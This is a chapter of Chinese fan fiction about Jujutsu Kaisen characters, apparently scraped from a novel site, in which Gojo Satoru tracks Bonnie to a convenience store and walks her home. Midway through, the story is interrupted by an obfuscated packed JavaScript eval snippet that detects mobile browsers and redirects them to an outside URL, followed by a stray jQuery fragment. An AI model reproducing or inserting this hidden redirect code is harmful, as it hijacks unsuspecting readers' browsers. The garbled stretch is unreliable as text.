只一发响指,五条悟面前的咒灵便炸开了花。
他拍了拍身上的灰尘,漆黑眼罩后的视线准确看向不远处的伊地知洁高,敷衍地笑了笑:从“下一个地点在哪里?”
试图当自己不存在的辅助监督不得不无奈回话: “五条先生,咒术协会传来消息,暂停您最近的任务列表,要是您继续这样抢走别的咒术师的任务,在下会很难办。”
伊地知洁高说完,自己也有些心虚。
五条悟作为公认的最强咒术师,压根不需要听从咒术协会的命令,之所以还偶尔任由咒术协会摆布,不过是担心自己的学生会遭到针对,再加上咒术协会目前的确是唯一维持咒术界秩序的机构,所以在解决咒术协会的毒瘤前干脆先维护各自的体面。
可有些人看不透自己的体面来自于五条悟的维持,还沾沾自喜以为能凌驾于最强咒术师之上,发现最近五条悟的行为隐隐失控便大惊失色,也不管手底下的人究竟能不能做到,只要求他们赶紧命令五条悟暂停行动。
伊地知洁高如此资深的社畜,都想要痛骂出声了。
难道有谁能掌控五条悟的行为吗,也不管命令究竟难度有多高,就这么发下来,还说什么阻止不了五条悟就视作同党,视作同党又能怎么样,嘴上说的好听,难道他们就敢对五条悟的同党动手吗。
可作为资深社畜,再难完成的任务他也得试试,要不两边追责他就是最难办的那个,就算只是做个样子他也要劝劝。
令伊地知洁高没想到的是,几乎从来没听过他的话的五条悟居然真的停了手,似笑非笑地看着他: “是吗,伊地知会很难办啊,这就没办法了。”
辅助监督的脑门不由得冒出冷汗。
怎么回事,要是最强咒术师闹起来,他还能按照以往的经验假装什么也没说过,现在这样完全出乎他意料之外的回答,伊地知洁高反而忍不住忐忑: “五条先生如果需要的话,我可以提供尚未被其他咒术师接取的任务。”
“不需要,”五条悟很干脆地否定, “没有被其他咒术师接取的任务,她不会抢。”
伊地知洁高还没懂他的意思,又听他说: “既然你都这么求我了,那我确实应该先别管这些任务了,好好想想还能在什么地方逮住她。”
伊地知洁高迷茫眨眼。
我有说这个吗?
五条悟压根不管他的迷茫,抬脚上车下令一气呵成: “去五条本家。”
伊地知洁高载着五条悟一路飞奔的时候,脑子转了大半圈才意识到他究竟是什么意思,毕竟伊地知明面上也算是五条悟的御用司机,暗地里更是咒术协会安插在五条悟身边的卧底——虽然其实在他的有意安排下,他这个卧底一点用没有。
但足以证明他十分了解五条悟。
因此他一下子串联起了白发咒术师的行为和思考,并且不需要五条悟吩咐,等人在五条本家拿到想要的东西后,又一脚油门把他送到了该送的地方。
果然,五条悟最近总挂着假笑的脸上,笑容都真切了几分,临走前扶着车门看向可怜的辅助监督: “给你加奖金哦伊地知。”
……
邦妮正在大街上漫无目的地游荡。
自从薇薇安问她是否能承受和五条悟撕破脸的代价后,她就一直在思考,如果她不仅仅凭借一腔冲动,而是真的按照计划实施,最终能有多大把握得到她真正想要的。
结果仍旧是不知道。
于是造成了一个很神奇的现象,制定计划的人无所事事,帮助执行的人忙忙碌碌。
邦妮为了理清繁杂的思绪,干脆从宅了许久的家里出来,前些天在公寓里待着,吃喝都由弗兰德送上门,连锻炼都懈怠了,看来强制爱的前期准备工作也是个累人的活计。
她避开可能会有的监视途径离开了夏油杰的墓,绕了许久才回到熟悉的地方,没过多久她发现,自己竟然不知不觉走到了公寓楼下附近的便利店。
正巧有点饿了,邦妮干脆推门进去。
门口的机器发出“欢迎光临”的声音,她的目光扫视一圈,随手挑了一堆东西,结账后抱去桌上摊开,从手边香气最浓郁的食物开始吃。
现在的时间不是她惯常在附近出没的深夜,而是人来人往的下午。
邦妮默默开包装吃东西再开包装再吃东西的样子,不知不觉吸引了很多人,日本文化比较含蓄内敛,他们不敢多看,只会在路过落地玻璃窗时短暂瞥几眼,然后再内心发出惊叹。
隔着玻璃窗看,金发碧眼的女人像是电视里才会出现的美式甜心,又或者是橱窗里标准昂贵的漂亮洋娃娃,此时却仿佛在做大胃王直播比赛一样,手边的食物以十分均匀的速度消失。
不能不让人多看两眼。
邦妮习惯了各种含义的视线注视,丝毫不耽误她填饱肚子,吃着吃着她开始放空,不由得开始给这些食物的好吃程度排序。
土豆沙拉中规中矩,没什么特别的味道,煎蛋三明治和鸡肉三角饭团有一点点塑料袋的味道,但不影响食用,烤鸭腿和汉堡倒是有点好吃,但她不会再买第二次,因为味道有点太实了,吃一口就得喝好几口饮料压一压。
薯片之类的零食味道没什么可说的,邦妮很喜欢吃零食,一个没注意就可以堆满一叠空袋子。
关东煮和烤肠是最好吃的,她将便利店里所有的种类都买了三份,最终决定最喜欢煮豆腐。
吃完最后一份烤肠,店员带着惊叹的神情过来收拾桌子,又用更惊叹的目光看着邦妮转身再次去货架上挑选,这还是她第一次在现实中看到身材匀称的大胃王呢。
邦妮已经吃饱了,最后在货架间穿梭来去挑选了不少零食,又去买了一根烤肠准备带回家给缇芙尼吃。
刚结完账,忽然察觉到一道视线,她敏锐转头,只见戴着墨镜抱着花束的白发男人默默站在落地窗外,面无表情地盯着她不知道看了多久。
见邦妮终于注意到他,五条悟冲她招了招手,依旧站定在原地不动,直到视线上上下下扫过一遍,不知道确认了什么,神情才骤然幽怨起来。
他没有等在外面,而是气鼓鼓地冲了进来: “邦妮酱,难道你就没有什么话想对我说吗?”
邦妮以为在这种时候见到他,自己的心情会很复杂,没想到她只觉得愉快,看见五条悟活力满满的样子,瞬间将先前她的那些沉重想法一扫而空。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349174|166658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样想,她也毫无掩饰地笑了下。
浅金发的咒术师举起手中的烤肠: “这个还挺好吃的,给你吃。”
五条悟就像是被抓住嘴巴的猫,一下子没了声音,只从喉咙里呜呜几声,像是在撒娇一样: “好吧,那我们交换。”
手里的烤肠被抽走,邦妮怀里立马多了一束花。
她静静等着五条悟两三口吃完烤肠后,嘴角忍不住扬起来: “这可是我买给好姐妹的零食,你居然吃掉了,看来只能买十份赔给我啦。”
五条悟眨巴眨巴眼睛,愣了好一会儿才嚷嚷起来: “邦妮酱,你怎么能这么欺负我,你这是钓鱼执法!”
白发咒术师瘪着嘴巴,在邦妮的笑声里嘀嘀咕咕地去买烤肠,还真的乖乖买了十根,提在手里跟在邦妮身后: “走吧,去给你好姐妹送烤肠。”
邦妮将手里的一大袋子零食也递给他,等人接过去她才问: “你确定要跟我回家?”
五条悟一改之前质疑她怎么能想着把人带回家的风格,装傻充愣地提起手中的零食和烤肠: “怎么了,还不出发吗,那这些我可都私吞啦。”
邦妮打量他两眼,当着他的面光明正大拿出手机,给缇芙尼打电话: “我现在要把五条悟带回家,你记得把该收的东西都收一下,别被他看见了。”
就像有一双无形的猫耳朵,在五条悟的脑袋上支棱起来。
他一下子看向邦妮,暗戳戳地偷听,听见电话那头的女声迟疑: “要不你带他绕几圈吧,你家里不该被他看见的东西也太多了点。”
“可以啊,”邦妮看了眼眨巴着求知眼神的白发咒术师, “那我带他多转两圈吧,反正他傻傻的也看不出来。”
她挂了电话,也没有答疑解惑的意思,带着人一路往前走。
五条悟没能憋多久,在看着邦妮明显带着他转上第一圈的时候,就忍不住俯下身子,在邦妮身后靠近她的耳朵幽幽道: “邦妮酱,把我当傻子看还要说出来,未免太坏了吧。”
邦妮这下是真的哈哈大笑了。
她抱着花,带着五条悟走到人少的小路慢悠悠散步,五条悟说完那句话也不再开口,脚步轻快地和她并排,像是两个饭后出来散步的情侣一样,悠哉游哉地欣赏着周围的风景。
两人就这么走了一圈又一圈,直到夕阳将脚下的白石子染成绯色。
邦妮停下脚步,看了眼手机上的时间,满意地招招手: “走吧,带你去我的公寓里坐坐,顺便认识认识我的朋友。”
五条悟没有跟上,而是忽然停下了脚步。
这个时候他才提出问题,墨镜后的目光认真盯着面前的人,语气却轻松: “邦妮酱,你还没有回答我的问题呢,那天你究竟为什么跑掉啦。”
邦妮避而不谈,直接反问回去: “我也想问,你今天怎么找来了?”
隔着墨镜,一蓝一绿两双眼睛对视许久,最终双双挪开,都因为不知道该怎么解释自己的问题而默契地转移了前一个话题。
五条悟抬起手中的零食: “还不走,你的朋友不饿吗?”
邦妮低头看了眼花束: “走吧,这些花还得插在花瓶里。”